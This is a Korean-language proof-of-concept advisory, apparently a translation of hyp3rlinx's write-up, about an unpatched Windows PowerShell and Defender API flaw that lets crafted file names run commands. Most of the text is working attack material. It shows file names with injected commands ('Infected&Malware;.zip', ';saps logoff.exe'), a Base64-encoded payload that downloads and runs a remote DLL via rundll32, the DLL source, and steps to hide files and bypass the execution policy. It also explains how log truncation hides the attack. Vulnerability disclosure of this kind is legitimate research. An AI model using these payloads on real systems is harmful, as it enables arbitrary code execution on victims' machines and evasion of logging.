
미패치된 Windows PowerShell 파일명 코드 실행 POC
Windows PowerShell 파일 이름 및 Defender 안티멀웨어 API - 코드 실행 POC
발견자: John Page (일명 hyp3rlinx) 2019년, 2023년 재검토
2023년 12월 24일 업데이트
PowerShell 코드 실행에서 작은따옴표 장애물을 우회하고 보너스로 PS Windows 이벤트 로그 실패!
세미콜론과 친구 "&" 연산자가 결합하여 임의 코드 실행 기능을 제공합니다.
원치 않는 멀웨어를 실행해 보세요:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
또는
Windows Defender 안티멀웨어 검사:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Malware.exe가 같은 디렉터리에 있으면 드라이브 바이 다운로드를 떠올리세요.
Windows 이벤트 로그 실패: PS 이벤트 ID 403은 잘림(truncation)으로 인해 실제 파일 이름을 기록하지 못합니다.
PS 로그 발췌:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
ping cmd 호출? 왜 안 되겠어요
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
피해자 로그오프:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
업데이트: 2023년 12월 7일 — CL 및 Windows Defender API 벡터 추가, 아래 참조:
여전히 동작하기 때문에 다시 꺼내 약간의 개선을 했습니다:
2019년에 Microsoft에 처음 보고했지만 이 글을 쓰는 시점에도 여전히 수정되지 않았습니다.
특수하게 조작된 파일 이름을 통한 원격 코드 실행.
결함은 세미콜론 ";" 때문입니다. PS1 파일 이름에서 바로 Base64 명령을 디코딩하여 실행하거나 명령을 바로 실행할 수 있습니다.
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
명령을 즉시 호출
"Testing;saps (gc -) PoC;.ps1"
공격 벡터: 더블 클릭, PS 바로 가기로 끌어서 놓기
"saps", "gc" 같은 축약형 PS 명령을 활용하여 프로세스를 시작하고 get-content 등의 작업을 수행합니다.
"1.d"라는 원격 DLL을 다운로드하여 실행하려고 시도하는 트로이 목마 PS1 파일을 만듭니다.
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
DLL 코드:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
트로이 목마 PS1 파일을 더블 클릭하세요.
"start a process"인 saps와 "get-content"인 gc를 이름에 포함하는 PS1 파일을 만듭니다. 그러면 숨겨진 파일에서 명령을 읽습니다.
"Test;saps (gc -) PoC;.ps1"
숨김 파일 생성: attrib +s +h "-"
더블 클릭하거나 끌어서 놓으세요.
a) PowerShell PS1 파일이 기본 프로그램으로 PowerShell로 열리도록 설정되어 있어야 합니다.
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) 사용자는 악의적인 이름의 PS1 스크립트를 더블 클릭하거나, cmd 명령줄에서 실행하거나, 끌어서 놓아야 합니다.
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

업데이트: Microsoft Defender 안티멀웨어 PowerShell API - 임의 코드 실행.
Microsoft Defender 안티멀웨어 및/또는 PS API는 임의 코드를 실행할 수 있습니다. 예를 들어 디렉터리, .lnk 바로 가기 또는 존재하지 않는 항목을 검사해도 의도하지 않은 코드가 실행될 수 있습니다. 이 벡터는 이전 권고와 후속 프로젝트 PSTrojanFile을 기반으로 합니다.
요구 사항:
예제:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe는 바탕 화면에 있습니다)
";saps Test" 디렉터리를 만들고, Test.exe, Test.cmd 등이 같은 CL 경로에 있게 하세요.
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
세미콜론이 있는 디렉터리를 만들고, 같은 경로에 doom.exe라는 PE 파일을 넣으세요.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
마지막으로, 빠뜨릴 수 없는 것:
PowerShell에서 파일 해시를 가져오면 로그아웃됩니다 :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08